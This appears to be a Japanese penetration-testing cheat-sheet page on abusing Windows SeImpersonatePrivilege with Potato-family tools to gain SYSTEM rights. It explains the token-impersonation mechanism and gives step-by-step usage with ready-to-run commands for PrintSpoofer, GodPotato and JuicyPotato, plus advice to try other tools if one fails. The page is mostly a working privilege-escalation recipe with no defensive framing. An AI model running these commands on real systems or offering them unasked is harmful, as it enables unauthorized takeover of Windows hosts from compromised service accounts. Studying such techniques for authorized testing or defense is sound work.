Potato 系ツールによる SeImpersonatePrivilege の悪用
概要
Potato 系(PrintSpoofer、GodPotato、JuicyPotato など)は、SeImpersonatePrivilege という特権を悪用して SYSTEM 権限を取得するための定番の権限昇格手法。IIS や SQL Server などのサービスアカウントは、この特権を標準で持っていることが多く、見つけたら「ほぼ即座に権限昇格できる」くらい刺さりやすい。
仕組みとしては、SYSTEM 権限で動作する何らかの RPC/COM サービスに、攻撃者が用意した通信相手へ接続させ、そのときに渡ってくる SYSTEM の偽装トークンを SeImpersonatePrivilege で奪って利用する、という流れが共通している。具体的な誘導方法(どの COM インターフェースや RPC を使うか)がツールごとに異なり、対応する Windows バージョンも変わってくる。
手順
whoami /privでSeImpersonatePrivilegeが有効になっているか確認する。- 対象の Windows バージョンに合った Potato 系ツールを選ぶ(新しめの環境では GodPotato、Windows 10/Server 2019 系では PrintSpoofer が定番)。
- ツールを実行し、SYSTEM 権限のコマンドプロンプトや任意コマンドの実行を得る。
コマンド
:: まず特権確認
whoami /priv
:: PrintSpoofer(Win10/2019 等で定番)
PrintSpoofer.exe -i -c cmd
:: GodPotato(新しめの環境で広く刺さる。.NET 指定)
GodPotato-NET4.exe -cmd "cmd /c whoami"
:: JuicyPotato(古い環境向け。CLSID 指定が要る)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {<CLSID>}
注意点
SeImpersonatePrivilegeはサービスアカウントの既定の特権として付与されていることが多く、「見かけたら疑う」くらいの頻出パターン。whoami /privを最初に確認する癖をつけておくと見逃しにくい。- どの Potato 系ツールが刺さるかは Windows のバージョンやパッチ状況に依存するため、1 つがダメでも別のツールを試す価値がある。